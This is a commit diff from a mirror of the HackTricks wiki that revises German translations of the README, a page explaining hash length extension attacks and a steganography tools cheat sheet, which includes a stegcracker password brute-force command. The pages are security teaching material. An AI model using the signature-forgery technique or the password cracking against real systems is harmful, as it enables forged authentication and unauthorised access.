mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack.
This commit is contained in:
parent
a94d6f76f6
commit
fa2bf18f1b
86 changed files with 1419 additions and 2988 deletions
52
README.md
52
README.md
|
@ -8,7 +8,7 @@ _Hacktricks Logos & Motion Design von_ [_@ppiernacho_](https://www.instagram.com
|
|||
**Willkommen im Wiki, wo Sie jeden Hacking-Trick/Technik/was auch immer finden, was ich aus CTFs, realen Anwendungen, Forschungsarbeiten und Nachrichten gelernt habe.**
|
||||
{% endhint %}
|
||||
|
||||
Um zu beginnen, folgen Sie dieser Seite, wo Sie den **typischen Ablauf** finden, den **Sie beim Pentesting** einer oder mehrerer **Maschinen befolgen sollten:**
|
||||
Um zu beginnen, folgen Sie dieser Seite, wo Sie den **typischen Ablauf** finden, den **Sie beim Pentesting** von einer oder mehreren **Maschinen befolgen sollten:**
|
||||
|
||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
|
@ -67,7 +67,7 @@ Zugang heute erhalten:
|
|||
|
||||
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug Bounty Jägern zu kommunizieren!
|
||||
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug Bounty-Jägern zu kommunizieren!
|
||||
|
||||
* **Hacking Einblicke:** Engagieren Sie sich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen
|
||||
* **Echtzeit-Hack-Nachrichten:** Bleiben Sie auf dem Laufenden mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
|
||||
|
@ -81,62 +81,28 @@ Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zu geben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
|
||||
**Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zu geben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApi bietet schnelle und einfache Echtzeit-APIs, um **auf Suchmaschinenergebnisse** zuzugreifen. Sie scrapen Suchmaschinen, verwalten Proxys, lösen Captchas und parsen alle strukturierten Daten für Sie.
|
||||
|
||||
Ein Abonnement eines der SerpApi-Pläne umfasst den Zugriff auf über 50 verschiedene APIs zum Scrapen verschiedener Suchmaschinen, einschließlich Google, Bing, Baidu, Yahoo, Yandex und mehr.\
|
||||
Im Gegensatz zu anderen Anbietern **scrapt SerpApi nicht nur organische Ergebnisse**. SerpApi-Antworten enthalten konsequent alle Anzeigen, Inline-Bilder und Videos, Wissensgraphen und andere Elemente und Funktionen, die in den Suchergebnissen vorhanden sind.
|
||||
|
||||
Aktuelle SerpApi-Kunden sind **Apple, Shopify und GrubHub**.\
|
||||
Für weitere Informationen besuchen Sie ihren [**Blog**](https://serpapi.com/blog/)**,** oder probieren Sie ein Beispiel in ihrem [**Playground**](https://serpapi.com/playground)**.**\
|
||||
Sie können **hier ein kostenloses Konto erstellen** [**hier**](https://serpapi.com/users/sign\_up)**.**
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [WebSec](https://websec.nl/)
|
||||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) ist ein professionelles Cybersicherheitsunternehmen mit Sitz in **Amsterdam**, das **Unternehmen** auf der ganzen Welt **gegen die neuesten Cybersicherheitsbedrohungen schützt**, indem es **offensive Sicherheitsdienste** mit einem **modernen** Ansatz anbietet.
|
||||
[**WebSec**](https://websec.nl) ist ein professionelles Cybersicherheitsunternehmen mit Sitz in **Amsterdam**, das **Unternehmen auf der ganzen Welt** dabei hilft, sich gegen die neuesten Cybersicherheitsbedrohungen zu **schützen**, indem es **offensive Sicherheitsdienste** mit einem **modernen** Ansatz anbietet.
|
||||
|
||||
WebSec ist ein **All-in-One-Sicherheitsunternehmen**, was bedeutet, dass sie alles machen; Pentesting, **Sicherheits**-Audits, Awareness-Trainings, Phishing-Kampagnen, Code-Überprüfungen, Exploit-Entwicklung, Outsourcing von Sicherheitsexperten und vieles mehr.
|
||||
WebSec ist ein **All-in-One-Sicherheitsunternehmen**, was bedeutet, dass sie alles anbieten; Pentesting, **Sicherheits**-Audits, Awareness-Trainings, Phishing-Kampagnen, Code-Überprüfungen, Exploit-Entwicklung, Outsourcing von Sicherheitsexperten und vieles mehr.
|
||||
|
||||
Ein weiterer cooler Aspekt von WebSec ist, dass WebSec im Gegensatz zum Branchendurchschnitt **sehr zuversichtlich in ihre Fähigkeiten ist**, so sehr, dass sie **die besten Qualitätsresultate garantieren**, es steht auf ihrer Website "**Wenn wir es nicht hacken können, zahlen Sie nicht!**". Für weitere Informationen werfen Sie einen Blick auf ihre [**Website**](https://websec.nl/en/) und [**Blog**](https://websec.nl/blog/)!
|
||||
Ein weiterer cooler Aspekt von WebSec ist, dass sie im Gegensatz zum Branchendurchschnitt **sehr zuversichtlich in ihre Fähigkeiten sind**, so sehr, dass sie **die besten Qualitätsresultate garantieren**. Auf ihrer Website steht: "**Wenn wir es nicht hacken können, zahlen Sie nicht!**". Für weitere Informationen werfen Sie einen Blick auf ihre [**Website**](https://websec.nl/en/) und ihren [**Blog**](https://websec.nl/blog/)!
|
||||
|
||||
Zusätzlich zu den oben genannten ist WebSec auch ein **engagierter Unterstützer von HackTricks.**
|
||||
Zusätzlich zu den oben genannten Punkten ist WebSec auch ein **engagierter Unterstützer von HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
## Lizenz & Haftungsausschluss
|
||||
## License & Disclaimer
|
||||
|
||||
Überprüfen Sie sie in:
|
||||
|
||||
|
@ -159,7 +125,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,23 +15,10 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Zusammenfassung des Angriffs
|
||||
|
||||
Stell dir einen Server vor, der einige **Daten** **signiert**, indem er ein **Geheimnis** an einige bekannte Klartextdaten anhängt und dann diese Daten hasht. Wenn du weißt:
|
||||
Stell dir einen Server vor, der **Daten** **signiert**, indem er ein **Geheimnis** an einige bekannte Klartextdaten **anhängt** und dann diese Daten hasht. Wenn du weißt:
|
||||
|
||||
* **Die Länge des Geheimnisses** (dies kann auch aus einem gegebenen Längenbereich bruteforced werden)
|
||||
* **Die Klartextdaten**
|
||||
|
@ -40,11 +27,11 @@ Stell dir einen Server vor, der einige **Daten** **signiert**, indem er ein **Ge
|
|||
* Normalerweise wird ein Standard verwendet, also wenn die anderen 3 Anforderungen erfüllt sind, ist dies auch der Fall
|
||||
* Das Padding variiert je nach Länge des Geheimnisses + Daten, deshalb ist die Länge des Geheimnisses erforderlich
|
||||
|
||||
Dann ist es für einen **Angreifer** möglich, **Daten** anzuhängen und eine gültige **Signatur** für die **vorherigen Daten + angehängte Daten** zu **generieren**.
|
||||
Dann ist es für einen **Angreifer** möglich, **Daten** **anzuhängen** und eine gültige **Signatur** für die **vorherigen Daten + angehängte Daten** zu **generieren**.
|
||||
|
||||
### Wie?
|
||||
|
||||
Grundsätzlich erzeugen die anfälligen Algorithmen die Hashes, indem sie zuerst einen Block von Daten **hashen** und dann, **aus** dem **zuvor** erstellten **Hash** (Zustand), den nächsten Block von Daten **hinzufügen** und **hashen**.
|
||||
Grundsätzlich erzeugen die anfälligen Algorithmen die Hashes, indem sie zuerst einen Block von Daten **hashten** und dann, **aus** dem **zuvor** erstellten **Hash** (Zustand), den **nächsten Block von Daten** **hinzufügen** und **hashen**.
|
||||
|
||||
Stell dir vor, das Geheimnis ist "secret" und die Daten sind "data", der MD5 von "secretdata" ist 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Wenn ein Angreifer die Zeichenfolge "append" anhängen möchte, kann er:
|
||||
|
@ -54,7 +41,7 @@ Wenn ein Angreifer die Zeichenfolge "append" anhängen möchte, kann er:
|
|||
* Die Zeichenfolge "append" anhängen
|
||||
* Den Hash abschließen und der resultierende Hash wird ein **gültiger für "secret" + "data" + "padding" + "append"** sein
|
||||
|
||||
### **Tool**
|
||||
### **Werkzeug**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
|
||||
|
@ -62,17 +49,7 @@ Wenn ein Angreifer die Zeichenfolge "append" anhängen möchte, kann er:
|
|||
|
||||
Du kannst diesen Angriff gut erklärt finden unter [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Stego-Tricks
|
||||
# Stego Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen Sie & üben Sie AWS-Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen Sie & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,20 +10,12 @@ Lernen Sie & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **Extrahieren von Daten aus Dateien**
|
||||
## **Daten aus Dateien extrahieren**
|
||||
|
||||
### **Binwalk**
|
||||
|
||||
|
@ -33,9 +25,9 @@ binwalk file # Displays the embedded data
|
|||
binwalk -e file # Extracts the data
|
||||
binwalk --dd ".*" file # Extracts all data
|
||||
```
|
||||
### **Vornehmste**
|
||||
### **Foremost**
|
||||
|
||||
Stellt Dateien basierend auf ihren Headern und Footern wieder her, nützlich für PNG-Bilder. Installiert über `apt` mit der Quelle auf [GitHub](https://github.com/korczis/foremost).
|
||||
Stellt Dateien basierend auf ihren Headern und Footern wieder her, nützlich für png-Bilder. Installiert über `apt` mit seiner Quelle auf [GitHub](https://github.com/korczis/foremost).
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
|
@ -55,9 +47,9 @@ exiv2 file # Shows the metadata
|
|||
|
||||
Identifizieren Sie den Dateityp, mit dem Sie es zu tun haben.
|
||||
|
||||
### **Zeichenfolgen**
|
||||
### **Strings**
|
||||
|
||||
Extrahiert lesbare Zeichenfolgen aus Dateien unter Verwendung verschiedener Codierungseinstellungen, um die Ausgabe zu filtern.
|
||||
Extrahiert lesbare Zeichenfolgen aus Dateien, indem verschiedene Kodierungseinstellungen verwendet werden, um die Ausgabe zu filtern.
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
strings -n 6 file | head -n 20 # First 20 strings
|
||||
|
@ -69,7 +61,7 @@ strings -e b -n 6 file # 16bit strings (big-endian)
|
|||
strings -e L -n 6 file # 32bit strings (little-endian)
|
||||
strings -e B -n 6 file # 32bit strings (big-endian)
|
||||
```
|
||||
### **Vergleich (cmp)**
|
||||
### **Comparison (cmp)**
|
||||
|
||||
Nützlich zum Vergleichen einer modifizierten Datei mit ihrer Originalversion, die online gefunden wurde.
|
||||
```bash
|
||||
|
@ -79,55 +71,55 @@ cmp original.jpg stego.jpg -b -l
|
|||
|
||||
### **Versteckte Daten in Leerzeichen**
|
||||
|
||||
Unsichtbare Zeichen in scheinbar leeren Leerzeichen können Informationen verbergen. Um diese Daten zu extrahieren, besuchen Sie [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
Unsichtbare Zeichen in scheinbar leeren Bereichen können Informationen verbergen. Um diese Daten zu extrahieren, besuchen Sie [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
|
||||
## **Extrahieren von Daten aus Bildern**
|
||||
|
||||
### **Identifizieren von Bilddetails mit GraphicMagick**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) dient dazu, Bilddateitypen zu bestimmen und potenzielle Korruptionen zu identifizieren. Führen Sie den folgenden Befehl aus, um ein Bild zu inspizieren:
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) dient dazu, Bilddateitypen zu bestimmen und potenzielle Beschädigungen zu identifizieren. Führen Sie den folgenden Befehl aus, um ein Bild zu überprüfen:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
Um eine beschädigte Abbildung zu reparieren, könnte das Hinzufügen eines Metadatenkommentars hilfreich sein:
|
||||
Um einen beschädigten Bild zu reparieren, könnte das Hinzufügen eines Metadatenkommentars hilfreich sein:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **Steghide zur Datenverdeckung**
|
||||
### **Steghide zur Datenverbergung**
|
||||
|
||||
Steghide erleichtert das Verstecken von Daten in `JPEG, BMP, WAV und AU` Dateien und kann verschlüsselte Daten einbetten und extrahieren. Die Installation ist einfach mit `apt` und der [Quellcode ist auf GitHub verfügbar](https://github.com/StefanoDeVuono/steghide).
|
||||
Steghide ermöglicht das Verstecken von Daten in `JPEG, BMP, WAV und AU`-Dateien und kann verschlüsselte Daten einbetten und extrahieren. Die Installation ist einfach mit `apt`, und der [Quellcode ist auf GitHub verfügbar](https://github.com/StefanoDeVuono/steghide).
|
||||
|
||||
**Befehle:**
|
||||
|
||||
* `steghide info Datei` zeigt an, ob eine Datei versteckte Daten enthält.
|
||||
* `steghide extract -sf Datei [--Passwort Passwort]` extrahiert die versteckten Daten, Passwort ist optional.
|
||||
* `steghide info file` zeigt an, ob eine Datei versteckte Daten enthält.
|
||||
* `steghide extract -sf file [--passphrase password]` extrahiert die versteckten Daten, das Passwort ist optional.
|
||||
|
||||
Für eine webbasierte Extraktion besuchen Sie [diese Website](https://futureboy.us/stegano/decinput.html).
|
||||
Für die webbasierte Extraktion besuchen Sie [diese Website](https://futureboy.us/stegano/decinput.html).
|
||||
|
||||
**Bruteforce-Angriff mit Stegcracker:**
|
||||
|
||||
* Um ein Passwortknacken mit Steghide zu versuchen, verwenden Sie [stegcracker](https://github.com/Paradoxis/StegCracker.git) wie folgt:
|
||||
* Um einen Passwort-Cracking-Versuch auf Steghide durchzuführen, verwenden Sie [stegcracker](https://github.com/Paradoxis/StegCracker.git) wie folgt:
|
||||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
### **zsteg für PNG- und BMP-Dateien**
|
||||
|
||||
zsteg ist spezialisiert auf das Aufdecken versteckter Daten in PNG- und BMP-Dateien. Die Installation erfolgt über `gem install zsteg`, mit der [Quelle auf GitHub](https://github.com/zed-0xff/zsteg).
|
||||
zsteg spezialisiert sich auf das Aufdecken versteckter Daten in PNG- und BMP-Dateien. Die Installation erfolgt über `gem install zsteg`, mit [seiner Quelle auf GitHub](https://github.com/zed-0xff/zsteg).
|
||||
|
||||
**Befehle:**
|
||||
|
||||
* `zsteg -a Datei` wendet alle Erkennungsmethoden auf eine Datei an.
|
||||
* `zsteg -E Datei` gibt eine Nutzlast für die Datenextraktion an.
|
||||
* `zsteg -a datei` wendet alle Erkennungsmethoden auf eine Datei an.
|
||||
* `zsteg -E datei` gibt eine Nutzlast für die Datenextraktion an.
|
||||
|
||||
### **StegoVeritas und Stegsolve**
|
||||
|
||||
**stegoVeritas** überprüft Metadaten, führt Bildtransformationen durch und wendet unter anderem LSB-Brute-Force an. Verwenden Sie `stegoveritas.py -h` für eine vollständige Liste der Optionen und `stegoveritas.py stego.jpg`, um alle Überprüfungen auszuführen.
|
||||
**stegoVeritas** überprüft Metadaten, führt Bildtransformationen durch und wendet LSB-Brute-Forcing unter anderem an. Verwenden Sie `stegoveritas.py -h` für eine vollständige Liste der Optionen und `stegoveritas.py stego.jpg`, um alle Überprüfungen auszuführen.
|
||||
|
||||
**Stegsolve** wendet verschiedene Farbfilter an, um versteckte Texte oder Nachrichten in Bildern sichtbar zu machen. Es ist auf [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) verfügbar.
|
||||
**Stegsolve** wendet verschiedene Farbfilter an, um versteckte Texte oder Nachrichten in Bildern zu enthüllen. Es ist auf [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) verfügbar.
|
||||
|
||||
### **FFT zur Erkennung versteckter Inhalte**
|
||||
|
||||
Techniken der schnellen Fourier-Transformation (FFT) können verborgene Inhalte in Bildern aufdecken. Nützliche Ressourcen sind:
|
||||
Fast Fourier Transform (FFT)-Techniken können verborgene Inhalte in Bildern aufdecken. Nützliche Ressourcen sind:
|
||||
|
||||
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
|
@ -139,14 +131,14 @@ Stegpy ermöglicht das Einbetten von Informationen in Bild- und Audiodateien und
|
|||
|
||||
### **Pngcheck zur Analyse von PNG-Dateien**
|
||||
|
||||
Zur Analyse von PNG-Dateien oder zur Überprüfung ihrer Echtheit verwenden Sie:
|
||||
Um PNG-Dateien zu analysieren oder ihre Authentizität zu überprüfen, verwenden Sie:
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
```
|
||||
### **Zusätzliche Tools für die Bildanalyse**
|
||||
### **Zusätzliche Werkzeuge zur Bildanalyse**
|
||||
|
||||
Für weitere Erkundungen, besuchen Sie:
|
||||
Für weitere Erkundungen sollten Sie folgende Seiten besuchen:
|
||||
|
||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
|
@ -154,27 +146,27 @@ Für weitere Erkundungen, besuchen Sie:
|
|||
* [OpenStego](https://www.openstego.com/)
|
||||
* [DIIT](https://diit.sourceforge.net/)
|
||||
|
||||
## **Extrahieren von Daten aus Audiodateien**
|
||||
## **Daten aus Audios extrahieren**
|
||||
|
||||
**Audiosteganographie** bietet eine einzigartige Methode, um Informationen in Sounddateien zu verbergen. Unterschiedliche Tools werden verwendet, um versteckte Inhalte einzubetten oder abzurufen.
|
||||
**Audio-Steganographie** bietet eine einzigartige Methode, Informationen in Audiodateien zu verbergen. Verschiedene Werkzeuge werden verwendet, um versteckte Inhalte einzubetten oder abzurufen.
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
Steghide ist ein vielseitiges Tool, das für das Verbergen von Daten in JPEG-, BMP-, WAV- und AU-Dateien entwickelt wurde. Detaillierte Anweisungen finden Sie in der [Stego-Tricks-Dokumentation](stego-tricks.md#steghide).
|
||||
Steghide ist ein vielseitiges Werkzeug, das zum Verstecken von Daten in JPEG-, BMP-, WAV- und AU-Dateien entwickelt wurde. Detaillierte Anweisungen finden Sie in der [Stego-Tricks-Dokumentation](stego-tricks.md#steghide).
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
Dieses Tool ist mit einer Vielzahl von Formaten kompatibel, einschließlich PNG, BMP, GIF, WebP und WAV. Weitere Informationen finden Sie im [Abschnitt zu Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
Dieses Werkzeug ist mit einer Vielzahl von Formaten kompatibel, darunter PNG, BMP, GIF, WebP und WAV. Für weitere Informationen siehe den [Stegpy-Bereich](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
|
||||
### **ffmpeg**
|
||||
|
||||
ffmpeg ist entscheidend für die Bewertung der Integrität von Audiodateien, hebt detaillierte Informationen hervor und identifiziert eventuelle Diskrepanzen.
|
||||
ffmpeg ist entscheidend für die Bewertung der Integrität von Audiodateien, hebt detaillierte Informationen hervor und identifiziert etwaige Abweichungen.
|
||||
```bash
|
||||
ffmpeg -v info -i stego.mp3 -f null -
|
||||
```
|
||||
### **WavSteg (WAV)**
|
||||
|
||||
WavSteg zeichnet sich durch das Verbergen und Extrahieren von Daten in WAV-Dateien mithilfe der Strategie des am wenigsten signifikanten Bits aus. Es ist auf [GitHub](https://github.com/ragibson/Steganography#WavSteg) verfügbar. Die Befehle umfassen:
|
||||
WavSteg zeichnet sich darin aus, Daten innerhalb von WAV-Dateien mithilfe der Strategie des am wenigsten signifikanten Bits zu verbergen und zu extrahieren. Es ist auf [GitHub](https://github.com/ragibson/Steganography#WavSteg) verfügbar. Befehle umfassen:
|
||||
```bash
|
||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||
|
||||
|
@ -182,51 +174,47 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
|||
```
|
||||
### **Deepsound**
|
||||
|
||||
Deepsound ermöglicht die Verschlüsselung und Erkennung von Informationen in Sounddateien mithilfe von AES-256. Es kann von [der offiziellen Seite](http://jpinsoft.net/deepsound/download.aspx) heruntergeladen werden.
|
||||
Deepsound ermöglicht die Verschlüsselung und Erkennung von Informationen in Audiodateien mithilfe von AES-256. Es kann von [der offiziellen Seite](http://jpinsoft.net/deepsound/download.aspx) heruntergeladen werden.
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
Ein unschätzbares Werkzeug zur visuellen und analytischen Inspektion von Audiodateien, Sonic Visualizer kann verborgene Elemente aufdecken, die auf andere Weise nicht erkennbar sind. Besuchen Sie die [offizielle Website](https://www.sonicvisualiser.org/) für mehr Informationen.
|
||||
Ein unverzichtbares Werkzeug für die visuelle und analytische Inspektion von Audiodateien, Sonic Visualizer kann versteckte Elemente aufdecken, die mit anderen Mitteln nicht erkennbar sind. Besuchen Sie die [offizielle Website](https://www.sonicvisualiser.org/) für weitere Informationen.
|
||||
|
||||
### **DTMF Töne - Wähltöne**
|
||||
|
||||
Die Erkennung von DTMF-Tönen in Audiodateien kann mithilfe von Online-Tools wie [diesem DTMF-Detektor](https://unframework.github.io/dtmf-detect/) und [DialABC](http://dialabc.com/sound/detect/index.html) erreicht werden.
|
||||
Die Erkennung von DTMF-Tönen in Audiodateien kann durch Online-Tools wie [diesen DTMF-Detektor](https://unframework.github.io/dtmf-detect/) und [DialABC](http://dialabc.com/sound/detect/index.html) erreicht werden.
|
||||
|
||||
## **Andere Techniken**
|
||||
|
||||
### **Binäre Längenwurzel - QR-Code**
|
||||
### **Binäre Länge SQRT - QR-Code**
|
||||
|
||||
Binäre Daten, die zu einer ganzen Zahl quadrieren, könnten einen QR-Code darstellen. Verwenden Sie diesen Code-Schnipsel zur Überprüfung:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
### **Braille Übersetzung**
|
||||
